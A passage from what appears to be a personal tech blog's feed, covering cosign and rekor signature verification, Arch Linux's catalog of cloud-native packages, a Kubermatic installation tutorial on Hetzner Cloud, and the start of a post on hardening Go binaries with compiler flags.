JQeUYKaW9QQ0ZBSXdhVmw2ZXN1UkxBTFdCU1U0ZVBiVERzc0VBd3luN1g1WFMrb0hteUVUL0JhOUlHUnhxK01jZTIwQgpXYzRDcmVDQgotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==&#34;</span>
        <span class="p">}</span>
      <span class="p">}</span>
    <span class="p">}</span>
  <span class="p">},</span>
  <span class="nt">&#34;LogIndex&#34;</span><span class="p">:</span> <span class="mi">832324</span><span class="p">,</span>
  <span class="nt">&#34;IntegratedTime&#34;</span><span class="p">:</span> <span class="mi">1636256643</span><span class="p">,</span>
  <span class="nt">&#34;UUID&#34;</span><span class="p">:</span> <span class="s2">&#34;ee4b2e80cef72f8d4e3f00d695bd796ffd9e17b9cfd18ba96947493c4ee19f62&#34;</span><span class="p">,</span>
  <span class="nt">&#34;LogID&#34;</span><span class="p">:</span> <span class="s2">&#34;c0d23d6ad406973f9559f3ba2d1ca01f84147d8ffc5b8445c224f98b9591801d&#34;</span>
<span class="p">}</span>
</code></pre></div><p>The transparency log entry stores everything what you need for verify my signature. There is the sha256 checksum of my file, the signature and
the public key for verify the signature.</p>
<p>I could not find an easy way to use this rekor transparency log as input for cosign, hence I have extracted the information manually as follows:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash">$ rekor-cli get --log-index <span class="m">832324</span> --format json <span class="p">|</span> jq -r <span class="s1">&#39;.Body.RekordObj.signature.content&#39;</span>  &gt; hello-world.txt.sig
$ rekor-cli get --log-index <span class="m">832324</span> --format json <span class="p">|</span> jq -r <span class="s1">&#39;.Body.RekordObj.signature.publicKey.content&#39;</span> <span class="p">|</span> base64 -d &gt; pub.crt
</code></pre></div><p>The above commands will extract a signature file and the public certificate. Next, we can use both to verify the file:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash">$ <span class="nv">COSIGN_EXPERIMENTAL</span><span class="o">=</span><span class="m">1</span> cosign verify-blob -cert pub.crt -signature hello-world.txt.sig hello-world.txt
No TUF root installed, using embedded CA certificate.
Certificate is trusted by Fulcio Root CA
Email: <span class="o">[</span>chris@shibumi.dev<span class="o">]</span>
Verified OK
tlog entry verified with uuid: <span class="s2">&#34;ee4b2e80cef72f8d4e3f00d695bd796ffd9e17b9cfd18ba96947493c4ee19f62&#34;</span> index: <span class="m">832324</span>
</code></pre></div><p>The line <code>Verified OK</code> states that the signature is fine. We will also see our transparency log entry again. Cosign magically
detects the signature and the certificate and knows that both can be found at index 832324 in the public rekor instance (I have no clue
how this works.. My guess is: more information embedded in the certificate).</p>
<p>If you do not know TUF&hellip; well.. this is a story for another day.</p>
]]></content></item><item><title>Cloud Native and Arch Linux</title><link>https://shibumi.dev/posts/cncf-and-archlinux/</link><pubDate>Fri, 24 Sep 2021 19:39:35 +0200</pubDate><guid>https://shibumi.dev/posts/cncf-and-archlinux/</guid><description>In this article I want to give a short overview over the current state of Arch Linux with respect to cloud native technologies. I would like to show why I think Arch Linux is perfect as a daily driver in the cloud native ecosystem and how the current state of cloud native software in Arch Linux looks like.
Reason Nr 1: Security At Arch Linux we take security very seriously. Our newly selected project lead has a strong security background (founding member of the Arch Linux security team) and member in a CTF group.</description><content type="html"><![CDATA[<p>In this article I want to give a short overview over the current state of Arch Linux with respect to cloud native technologies.
I would like to show why I think Arch Linux is perfect as a daily driver in the cloud native ecosystem and how the current
state of cloud native software in Arch Linux looks like.</p>
<h2 id="reason-nr-1-security">Reason Nr 1: Security</h2>
<p>At Arch Linux we take security very seriously. Our newly selected project lead has a strong security background (founding member of the Arch Linux security team)
and member in a CTF group. Another good reason is our strong hardening process. Recently, I have already explained how we harden Go binaries in Arch Linux.
<a href="/posts/hardening-executables/">If you have missed this article, feel free to add it to your bookmarks</a>. We enable the following flags in Arch Linux:</p>
<ul>
<li>FULL RELRO (Full Relocation Read-Only)</li>
<li>STACK CANARY</li>
<li>NX-Bit</li>
<li>PIE (Position Independent Executable/Code)</li>
<li>Setting no RPATH6</li>
<li>Setting no Symbols</li>
<li>FORTIFY</li>
<li>&hellip;.. a full explanation can be found in the linked blog article ;)</li>
</ul>
<p>In my experience you will not find most of these flags enabled in binaries that you download directly from Github or a project website.
As far as I know, these flags are very unique to Arch Linux. Even Fedora does not enable all of them.
Other arguments for Arch Linux in terms of security are:</p>
<ul>
<li>Packages are mostly up to date. We ship the newest Go binary as soon as possible</li>
<li>We re-compile all of our packages with the newest Go binary (if possible and we are not running into weird issues with the new Go version).</li>
<li>We try to ship the newest version of a software within a week (my personal record is a few minutes after release).</li>
<li>We release security advisories for our packages via a mailing list and <a href="https://security.archlinux.org">https://security.archlinux.org</a></li>
<li>Many Arch Linux members also contribute to security related projects like <a href="https://reproducible-builds.org/">https://reproducible-builds.org/</a> or secure supply chains.</li>
</ul>
<h2 id="reason-nr-2-from-cloud-native-developers-to-cloud-native-developers">Reason Nr 2: From cloud native developers to cloud native developers</h2>
<p>All packages that I maintain are in daily production use. I work as SRE and my laptop runs on Arch Linux. It surprises me
every day again how stable the whole system is. You could consider this as good motivation for keeping everything running and stable.</p>
<h2 id="reason-nr-3-convenience">Reason Nr 3: Convenience</h2>
<p>Arch Linux has built up a very big catalog of cloud native software. Hence, if you are tired of visiting Github project websites
and if you are looking for a convenient way to install your cloud native tools on your laptop, Arch Linux is the go-to solution for you.
You can easily install any of the tools below via executing <code>sudo pacman -S &lt;package name&gt;</code>.
Do not consider the following list as &lsquo;complete&rsquo;. The following packages are either maintained or co-maintained by myself. Big shout-out to
my co-maintainers Morten Linderud (<a href="MortenLinderud">@MortenLinderud</a>) and David Runge:</p>
<ul>
<li><a href="https://archlinux.org/packages/community/x86_64/argocd/">argocd</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/aws-vault/">aws-vault</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/caddy/">caddy</a></li>
<li><a href="https://archlinux.org/packages/community/any/cloud-init/">cloud-init</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/cosign/">cosign</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/cri-o/">cri-o</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/cue/">cue</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/eksctl/">eksctl</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/fluxctl/">fluxctl</a> <strong>Note: flux2 is WIP for the official repositories</strong></li>
<li><a href="https://archlinux.org/packages/community/x86_64/fulcio/">fulcio</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/goreleaser/">goreleaser</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/hcloud/">hcloud</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/helm/">helm</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/helmfile/">helmfile</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/istio/">istio</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/k9s/">k9s</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/knative-client/">knative-client</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/ko/">ko</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/kompose/">kompose</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/kubeadm/">kubeadm</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/kube-apiserver/">kube-apiserver</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/kube-controller-manager/">kube-control-manager</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/kubectl/">kubectl</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/kubectl-cert-manager/">kubectl-cert-manager</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/kubectl-ingress-nginx/">kubectl-ingress-nginx</a></li>
<li><a href="https://archlinux.org/packages/community/any/kubectx/">kubectx</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/kubelet/">kubelet</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/kubeone/">kubeone</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/kube-proxy/">kube-proxy</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/kube-scheduler/">kube-scheduler</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/kubeseal/">kubeseal</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/kustomize/">kustomize</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/minikube/">minikube</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/operator-sdk/">operator-sdk</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/packer/">packer</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/popeye/">popeye</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/pulumi/">pulumi</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/rekor/">rekor</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/restic/">restic</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/skaffold/">skaffold</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/tanka/">tanka</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/tekton-cli/">tekton-cli</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/terraform/">terraform</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/terragrunt/">terragrunt</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/traefik/">traefik</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/vals/">vals</a></li>
<li><a href="https://archlinux.org/packages/community/x86_64/vault/">vault</a></li>
</ul>
<p>To be honest, I thought the list would be smaller and I hope you are still reading this article. If you are missing
software feel free to drop me a mail. My plans for the future involve a public github repository with all my PKGBUILDs
for nicer collaboration.</p>
<p>Also, I would like to give a short overview about packages I will have a look on next:</p>
<ul>
<li>Falco (<a href="https://aur.archlinux.org/packages/falco/">Kris Nova is already maintaining a working release in the AUR</a>)</li>
<li>More kubectl plugins (imagine we could skip krew and just install every plugin hardened and validated via pacman)</li>
<li>More projects from the <a href="https://landscape.cncf.io/">CNCF landscape</a></li>
</ul>
]]></content></item><item><title>Kubermatic on Hetzner</title><link>https://shibumi.dev/posts/kubermatic-on-hetzner/</link><pubDate>Sun, 01 Aug 2021 22:02:00 +0200</pubDate><guid>https://shibumi.dev/posts/kubermatic-on-hetzner/</guid><description>Hello and welcome to another article about Kubernetes. In this article we will go through the Kubermatic installation on Hetzner Cloud. But first of all let us go through a few questions:
What is Kubermatic and why do I need it? Kubermatic abstracts different Kubernetes clusters and providers for you. It does not matter if you want a cluster on Amazon, Google, Hetzner, vSphere or on-premise. With Kubermatic you can easily bootstrap new clusters in your favorite location with your favorite cloud provider or on-premise.</description><content type="html"><![CDATA[<p>Hello and welcome to another article about Kubernetes. In this article we will go through the Kubermatic installation on Hetzner Cloud.
But first of all let us go through a few questions:</p>
<h3 id="what-is-kubermatic-and-why-do-i-need-it">What is Kubermatic and why do I need it?</h3>
<p>Kubermatic abstracts different Kubernetes clusters and providers for you. It does not matter if you want a cluster on Amazon, Google,
Hetzner, vSphere or on-premise. With Kubermatic you can easily bootstrap new clusters in your favorite location with your favorite cloud
provider or on-premise. Furthermore, it comes with a few extras that are a hassle to maintain yourself, like monitoring or backups.</p>
<h3 id="why-do-i-need-multiple-clusters">Why do I need multiple clusters?</h3>
<p>This depends really on your setup, your company size, your reliability expectations and many more. The main idea behind having
multiple clusters is reducing blast radius. Just imagine you are running your whole company on one cluster and this cluster
drifts into a bad state. This would not be good, right? With multiple clusters you can reduce this blast radius and give
every customer one dedicated cluster instead of one cluster for all customers. Just like Julius Caesar said: &ldquo;Divide and conquer&rdquo;.</p>
<h3 id="why-hetzner">Why Hetzner?</h3>
<p>Hetzner is the cheapest cloud provider. I do not want to spend hundreds of Euros just for a blog article. Right now while writing
this article the whole setup cost me under 1€. Moreover, Hetzner is investing heavy in their new cloud platform. Just recently they
have added a new stateful firewall and loadbalancers.</p>
<h3 id="ready-set-go">Ready, Set, Go</h3>
<p>The following article requires that you have installed a cluster with Kubermatic&rsquo;s Kubeone tool on Hetzner. If you do not
know how to do it or you just need a tutorial for this, have a look on my <a href="/posts/kubernetes-on-hetzner-in-2021">last article</a> about it.</p>
<p>First I recommend that you unset your KUBECONFIG variable. I ran into some issues with my custom KUBECONFIG setup.
Normally I construct my KUBECONFIG with some bash magic like this:</p>
<p><code>KUBECONFIG=&quot;$(find ~/.kube/configs/ -type f -exec printf '%s:' '{}' +)&quot;</code></p>
<p>This allows me to store all my kubeconfigs in the directory <code>$HOME/.kube/configs</code> and gives me benefit that I do not need to merge them.
However, with Kubermatic (especially the kubermatic installer, I ran into some issues with it). So, if you see an &ldquo;unauthorized&rdquo; error,
while installing kubermatic this might be the issue for it. By the way, the issue is being tracked in: <a href="https://github.com/kubermatic/kubermatic/issues/7093">https://github.com/kubermatic/kubermatic/issues/7093</a></p>
<p>So much about the kubeconfig. Let us talk about the installation process itself now. You will need the kubermatic-installer.
I recommend the community edition for doing your first steps with Kubermatic:</p>
<p><code>curl -L -O https://github.com/kubermatic/kubermatic/releases/download/v2.16.10/kubermatic-ce-v2.16.10-linux-amd64.tar.gz</code></p>
<p>Just unpack the archive (<code>tar xfvz kubermatic-ce-v2.16.10-linux-amd64.tar.gz</code> ) and then have a look on the
examples folder. In this folder you will see three files:</p>
<ul>
<li>kubermatic.example.ce.yaml</li>
<li>seed.example.yaml</li>
<li>values.example.yaml</li>
</ul>
<p>The <code>kubermatic.example.ce.yaml</code> file defines your domain for the ingress, TLS certificates and authentication settings.
Some of these authentication settings must be the same in your <code>values.example.yaml</code>, hence make sure to validate
that you paste the same token there. The comments guide you through the configuration.</p>
<p>One problem I encountered has been the ClusterIssuer. I just went with the <code>letsencrypt-staging</code> ClusterIssuer, forgetting
that my domain has HSTS (<a href="https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a>) configured.
It will probably make sense to set this directly to <code>letsencrypt-prod</code>, otherwise you have to manually delete certificates and/or
certificaterequests after switching to the production ClusterIssuer (<code>kubectl delete certificate ...</code>, <code>kubectl delete certificaterequest ...</code>).
This applies to the dex and the kubermatic service. The dex service provides the authentication layer for your Kubermatic installation. With dex
it is possible to use Github, Microsoft AD, LDAP or any other provider for authentication.</p>
<p>For a first setup you need to configure the <code>kubermatic.example.ce.yaml</code> and the <code>values.example.yaml</code> file. I can highly recommend
the Kubermatic documentation. It gives you nice hints and leads you through the process: <a href="https://docs.kubermatic.com/kubermatic/v2.16/installation/install_kubermatic/">https://docs.kubermatic.com/kubermatic/v2.16/installation/install_kubermatic/</a>.</p>
<p>If done, we can finally deploy Kubermatic into our Kubeone provisioned cluster on Hetzner. Note, I mentioned that kubeconfig problem earlier. I have disabled
the KUBECONFIG variable via <code>unset KUBECONFIG</code>, thus I have to set the kubeconfig path manually as parameter in the kubermatic-installer command:</p>
<p><code>./kubermatic-installer deploy --config examples/kubermatic.example.ce.yaml --helm-values examples/values.example.yaml --storageclass hetzner --kubeconfig ~/.kube/config</code></p>
<p>Moreover, it is important to select the correct storage class. On hetzner this is <code>hetzner</code>. This may change with your cloud provider.</p>
<p>A successful first run should look like this:</p>
<pre><code>❯ ./kubermatic-installer deploy --config examples/kubermatic.example.ce.yaml --helm-values examples/values.example.yaml --storageclass hetzner --kubeconfig ~/.kube/config
INFO[16:50:37] 🛫 Initializing installer…                     edition=&quot;Community Edition&quot; version=v2.16.10
INFO[16:50:37] 🚦 Validating the provided configuration…
WARN[16:50:37]    Helm values: kubermaticOperator.imagePullSecret is empty, setting to spec.imagePullSecret from KubermaticConfiguration
INFO[16:50:37] ✅ Provided configuration is valid.
INFO[16:50:38] 🧩 Deploying kubermatic stack…
INFO[16:50:38]    💾 Deploying kubermatic-fast StorageClass…
INFO[16:50:38]    ✅ StorageClass exists, nothing to do.
INFO[16:50:38]    📦 Deploying nginx-ingress-controller…
INFO[16:50:38]       Release is up-to-date, nothing to do. Set --force to re-install anyway.
INFO[16:50:38]    ✅ Success.
INFO[16:50:38]    📦 Deploying cert-manager…
INFO[16:50:38]       Deploying Custom Resource Definitions…
INFO[16:50:39]       Deploying Helm chart…
INFO[16:50:39]       Release is up-to-date, nothing to do. Set --force to re-install anyway.
INFO[16:50:39]    ✅ Success.
INFO[16:50:39]    📦 Deploying Dex…
INFO[16:50:40]       Release is up-to-date, nothing to do. Set --force to re-install anyway.
INFO[16:50:40]    ✅ Success.
INFO[16:50:40]    📦 Deploying Kubermatic Operator…
INFO[16:50:40]       Deploying Custom Resource Definitions…
INFO[16:50:40]       Deploying Helm chart…
INFO[16:50:40]       Release is up-to-date, nothing to do. Set --force to re-install anyway.
INFO[16:50:40]    ✅ Success.
INFO[16:50:40]    📝 Applying Kubermatic Configuration…
INFO[16:50:41]    ✅ Success.
INFO[16:50:41]    📡 Determining DNS settings…
WARN[14:58:40]       Timed out waiting for the LoadBalancer service &quot;nginx-ingress-controller/nginx-ingress-controller&quot; to become ready.
WARN[14:58:40]       Please check the Service and, if necessary, reconfigure the
WARN[14:58:40]       nginx-ingress-controller Helm chart. Re-run the installer to apply
WARN[14:58:40]       updated configuration afterwards.
INFO[14:58:40] 🛬 Installation completed successfully. Thank you for using Kubermatic ❤
</code></pre><p>You may have noticed the last 5 lines. These lines state that the load balancer is not yet ready. If you investigate this manually you will see this:</p>
<pre><code>❯ kubectl get svc nginx-ingress-controller -n nginx-ingress-controller
NAME                               TYPE           CLUSTER-IP     EXTERNAL-IP   PORT(S)                      AGE
service/nginx-ingress-controller   LoadBalancer   10.97.231.63   &lt;pending&gt;     80:31765/TCP,443:30441/TCP   6m34s
</code></pre><p>This is because Kubermatic fails to provision the load balancer on Hetzner. You can fix this via adding an anotation to the
nginx-ingress-controller: <code>kubectl annotate service/nginx-ingress-controller -n nginx-ingress-controller load-balancer.hetzner.cloud/location=fsn1</code> (Note: change the location according to your datacenter).</p>
<p>With this change you should see a new LoadBalancer resource popping up in your Hetzner Cloud UI or via <code>hcloud load-balancer list</code>:</p>
<pre><code>❯ hcloud load-balancer list
ID       NAME                               IPV4           IPV6                   TYPE   LOCATION   NETWORK ZONE
314817   master-lb                          49.12.22.127   2a01:4f8:c011:39b::1   lb11   fsn1       eu-central
314842   af0c41dbc2fab40699aa92d233a76233   49.12.20.106   2a01:4f8:c011:18a::1   lb11   fsn1       eu-central
</code></pre><p>(The one with the random name is our provisioned load balancer for the ingress). How does this work? This works via the
Hetzner cloud controller manager. More information about this here: <a href="https://github.com/hetznercloud/hcloud-cloud-controller-manager/blob/master/docs/load_balancers.md">https://github.com/hetznercloud/hcloud-cloud-controller-manager/blob/master/docs/load_balancers.md</a>.</p>
<p>If done, I recommend a new run with the kubermatic-installer:</p>
<pre><code>❯ ./kubermatic-installer deploy --config examples/kubermatic.example.ce.yaml --helm-values examples/values.example.yaml --storageclass hetzner --kubeconfig ~/.kube/config 
INFO[15:39:42] 🛫 Initializing installer…                     edition=&quot;Community Edition&quot; version=v2.16.10
INFO[15:39:42] 🚦 Validating the provided configuration…
WARN[15:39:42]    Helm values: kubermaticOperator.imagePullSecret is empty, setting to spec.imagePullSecret from KubermaticConfiguration
INFO[15:39:42] ✅ Provided configuration is valid.
INFO[15:39:43] 🧩 Deploying kubermatic stack…
INFO[15:39:43]    💾 Deploying kubermatic-fast StorageClass…
INFO[15:39:43]    ✅ StorageClass exists, nothing to do.
INFO[15:39:43]    📦 Deploying nginx-ingress-controller…
INFO[15:39:46]    ✅ Success.
INFO[15:39:46]    📦 Deploying cert-manager…
INFO[15:39:46]       Deploying Custom Resource Definitions…
INFO[15:39:46]       Deploying Helm chart…
INFO[15:39:51]    ✅ Success.
INFO[15:39:51]    📦 Deploying Dex…
INFO[15:39:55]    ✅ Success.
INFO[15:39:55]    📦 Deploying Kubermatic Operator…
INFO[15:39:55]       Deploying Custom Resource Definitions…
INFO[15:39:55]       Deploying Helm chart…
INFO[15:39:55]       Re-installing because --force is set…
INFO[15:39:57]    ✅ Success.
INFO[15:39:57]    📝 Applying Kubermatic Configuration…
INFO[15:39:57]    ✅ Success.
INFO[15:39:57]    📡 Determining DNS settings…
INFO[15:39:57]       The main LoadBalancer is ready.
INFO[15:39:57]
INFO[15:39:57]         Service             : nginx-ingress-controller / nginx-ingress-controller
INFO[15:39:57]         Ingress via IP      : 49.12.20.106
INFO[15:39:57]
INFO[15:39:57]       Please ensure your DNS settings for &quot;cluster.shibumi.dev&quot; include the following records:
INFO[15:39:57]
INFO[15:39:57]          cluster.shibumi.dev.    IN  A  49.12.20.106
INFO[15:39:57]          *.cluster.shibumi.dev.  IN  A  49.12.20.106
INFO[15:39:57]
INFO[15:39:57] 🛬 Installation completed successfully. Thank you for using Kubermatic ❤
</code></pre><p>This means our setup is ready. You should be able to login into Kubermatic now via the configured base domain. In my case that is <code>cluster.shibumi.dev</code>.
The dex installation can be found on <code>dex.&lt;base domain&gt;</code> (if configured).</p>
<p>For your first steps in the UI you need to configure a project, then you can create a cluster but wait&hellip; there are no cluster providers, right?
This is intended. You need to configure a seed cluster and the corresponding container storage interface (CSI) first. On smaller setups, like this one, we can use the master cluster
as seed cluster. Do you remember the <code>seed.example.yaml</code> file in the kubermatic examples directory? This is where we go next.</p>
<p>Modify the file according to the comments:</p>
<ol>
<li>Create a base64 encoding of your master kubeconfig: <code>base64 -w0 ~/.kube/config</code></li>
<li>Paste the output into the first secret in the <code>seed.example.yaml</code>.</li>
<li>Modify the seed resource.</li>
</ol>
<p>In the seed resource we have to specify our datacenters. We are using Hetzner, hence the configuration should look like this:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml"><span class="k">apiVersion</span><span class="p">:</span><span class="w"> </span>kubermatic.k8s.io/v1<span class="w">
</span><span class="w"></span><span class="k">kind</span><span class="p">:</span><span class="w"> </span>Seed<span class="w">
</span><span class="w"></span><span class="k">metadata</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">name</span><span class="p">:</span><span class="w"> </span>kubermatic<span class="w">
</span><span class="w">  </span><span class="k">namespace</span><span class="p">:</span><span class="w"> </span>kubermatic<span class="w">
</span><span class="w"></span><span class="k">spec</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="c"># these two fields are only informational</span><span class="w">
</span><span class="w">  </span><span class="k">country</span><span class="p">:</span><span class="w"> </span>DE<span class="w">
</span><span class="w">  </span><span class="k">location</span><span class="p">:</span><span class="w"> </span>Falkenstein<span class="w">
</span><span class="w">
</span><span class="w">  </span><span class="c"># List of datacenters where this seed cluster is allowed to create clusters in</span><span class="w">
</span><span class="w">  </span><span class="c"># In this example, user cluster will be deployed in eu-central-1 on AWS.</span><span class="w">
</span><span class="w">  </span><span class="k">datacenters</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">hetzner-fsn1</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">location</span><span class="p">:</span><span class="w"> </span>Falkenstein<span class="w"> </span><span class="m">1</span><span class="w"> </span>DC<span class="w"> </span><span class="m">8</span><span class="w">
</span><span class="w">      </span><span class="k">country</span><span class="p">:</span><span class="w"> </span>DE<span class="w">
</span><span class="w">      </span><span class="k">spec</span><span class="p">:</span><span class="w">
</span><span class="w">        </span><span class="k">hetzner</span><span class="p">:</span><span class="w">
</span><span class="w">          </span><span class="k">datacenter</span><span class="p">:</span><span class="w"> </span>fsn1-dc8<span class="w">
</span><span class="w">  </span><span class="c"># reference to the kubeconfig to use when connecting to this seed cluster</span><span class="w">
</span><span class="w">  </span><span class="k">kubeconfig</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">name</span><span class="p">:</span><span class="w"> </span>&lt;name<span class="w"> </span>of<span class="w"> </span>your<span class="w"> </span>kubermatic<span class="w"> </span>master<span class="w"> </span>kubeconfig<span class="w"> </span>secret.<span class="w"> </span>For<span class="w"> </span>example<span class="w"> </span>kubeconfig-hetzner<span class="sd">&gt;
</span><span class="sd">    namespace: kubermatic</span><span class="w">
</span></code></pre></div><p>As last step apply the new <code>seed.example.yaml</code>: <code>kubectl apply -f seed.example.yaml</code>.
With the new seed cluster we can deploy the <a href="https://github.com/hetznercloud/csi-driver#container-storage-interface-driver-for-hetzner-cloud">Hetzner CSI driver</a>.
For the Hetzner CSI driver we have to create a secret:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml"><span class="c"># secret.yml</span><span class="w">
</span><span class="w"></span><span class="k">apiVersion</span><span class="p">:</span><span class="w"> </span>v1<span class="w">
</span><span class="w"></span><span class="k">kind</span><span class="p">:</span><span class="w"> </span>Secret<span class="w">
</span><span class="w"></span><span class="k">metadata</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">name</span><span class="p">:</span><span class="w"> </span>hcloud-csi<span class="w">
</span><span class="w">  </span><span class="k">namespace</span><span class="p">:</span><span class="w"> </span>kube-system<span class="w">
</span><span class="w"></span><span class="k">stringData</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">token</span><span class="p">:</span><span class="w"> </span>YOURTOKEN<span class="w">
</span></code></pre></div><p>Deploy this secret via <code>kubectl apply</code> and continue with installing the Hetzner CSI driver:
<code>kubectl apply -f https://raw.githubusercontent.com/hetznercloud/csi-driver/v1.5.1/deploy/kubernetes/hcloud-csi.yml</code></p>
<p>Note: Make sure to have a look on their <a href="https://github.com/hetznercloud/csi-driver/blob/master/README.md#versioning-policy">version compatibility matrix</a>.</p>
<p>Now you should be able to
select a provider in your Kubermatic installation. Click through the Kubermatic &ldquo;Create a cluster&rdquo;-dialog.
If this fails, this might be because you are lacking nodes. Just scale up your master cluster with additional worker nodes.
I recommend doing it via the <code>kubeone.yaml</code> + <code>kubeone apply</code> (declarative setup), but you can just do it imperative as well
via: <code>kubectl scale -n kube-system machinedeployment master-pool1 --replicas=2</code>.</p>
<p>Congratulations! You have just created your first Kubernetes cluster via Kubermatic on Hetzner Cloud:</p>
<p><img src="/img/kubermatic-01.png" alt="/img/kubermatic-01.png"></p>
]]></content></item><item><title>Hardening Executables</title><link>https://shibumi.dev/posts/hardening-executables/</link><pubDate>Sun, 01 Aug 2021 21:40:03 +0200</pubDate><guid>https://shibumi.dev/posts/hardening-executables/</guid><description>Quite a while ago, Arch Linux has turned on many binary security features via compilation flags (2016)1 or turned off options that are known to help exploit software (debugging symbols, RPATH). Now we have 2021 and Arch Linux made good experience with the additional security options.
We made good experience on Arch Linux with the following flags so far:
FULL RELRO (Full Relocation Read-Only)2 STACK CANARY3 NX-Bit4 PIE (Position Independent Executable/Code)5 Setting no RPATH6 Setting no Symbols FORTIFY7 Some of these flags are known to have effects on performance.</description><content type="html"><![CDATA[<p>Quite a while ago, Arch Linux has turned on many binary security features via
compilation flags (2016)<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> or turned off options that are known to help
exploit software (debugging symbols, RPATH). Now we have 2021 and Arch Linux made good
experience with the additional security options.</p>
<p>We made good experience on Arch Linux with the following flags so far:</p>
<ul>
<li>FULL RELRO (Full Relocation Read-Only)<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></li>
<li>STACK CANARY<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup><!-- raw HTML omitted --></li>
<li>NX-Bit<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup><!-- raw HTML omitted --></li>
<li>PIE (Position Independent Executable/Code)<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></li>
<li>Setting no RPATH<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup></li>
<li>Setting no Symbols</li>
<li>FORTIFY<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup></li>
</ul>
<p>Some of these flags are known to have effects on performance.
A &lsquo;call for assistance&rsquo;<sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup> in 2016 tried to measure these effects via running
different operations with executables that have above flags enabled. The
project<sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup> delivered good results<sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup> and we decided to enable these flags.</p>
<p>For validating ELF executables we use the tool checksec.sh.
The follows snippet shows the example output of <code>check-sec --file=/usr/bin/kubectl</code>
with kubectl version 1.21.3-1 on Arch Linux:</p>
<pre><code>RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols        Yes   2               3               /usr/bin/kubectl
</code></pre><p>We achieved a fully hardened kubectl binary via the following methods:</p>
<ol>
<li>We set CGO flags for passing enhanced security flags to the compiler:</li>
</ol>
<pre><code>export CGO_CPPFLAGS=&quot;${CPPFLAGS}&quot;
export CGO_CFLAGS=&quot;${CFLAGS}&quot;
export CGO_CXXFLAGS=&quot;${CXXFLAGS}&quot;
export CGO_LDFLAGS=&quot;${LDFLAGS}&quot;
</code></pre><p>These flags are:</p>
<ul>
<li>CPPFLAGS=&rdquo;-D_FORTIFY_SOURCE=2&rdquo;</li>
<li>CFLAGS=&rdquo;-march=x86-64 -mtune=generic -O2 -pipe -fno-plt&rdquo;</li>
<li>CXXFLAGS=&rdquo;-march=x86-64 -mtune=generic -O2 -pipe -fno-plt&rdquo;</li>
<li>LDFLAGS=&rdquo;-Wl,-O1,&ndash;sort-common,&ndash;as-needed,-z,relro,-z,now&rdquo;</li>
</ul>
<ol start="2">
<li>We compile our Go packages with the following GOFLAGS:</li>
</ol>
<pre><code>export CGO_ENABLED=1
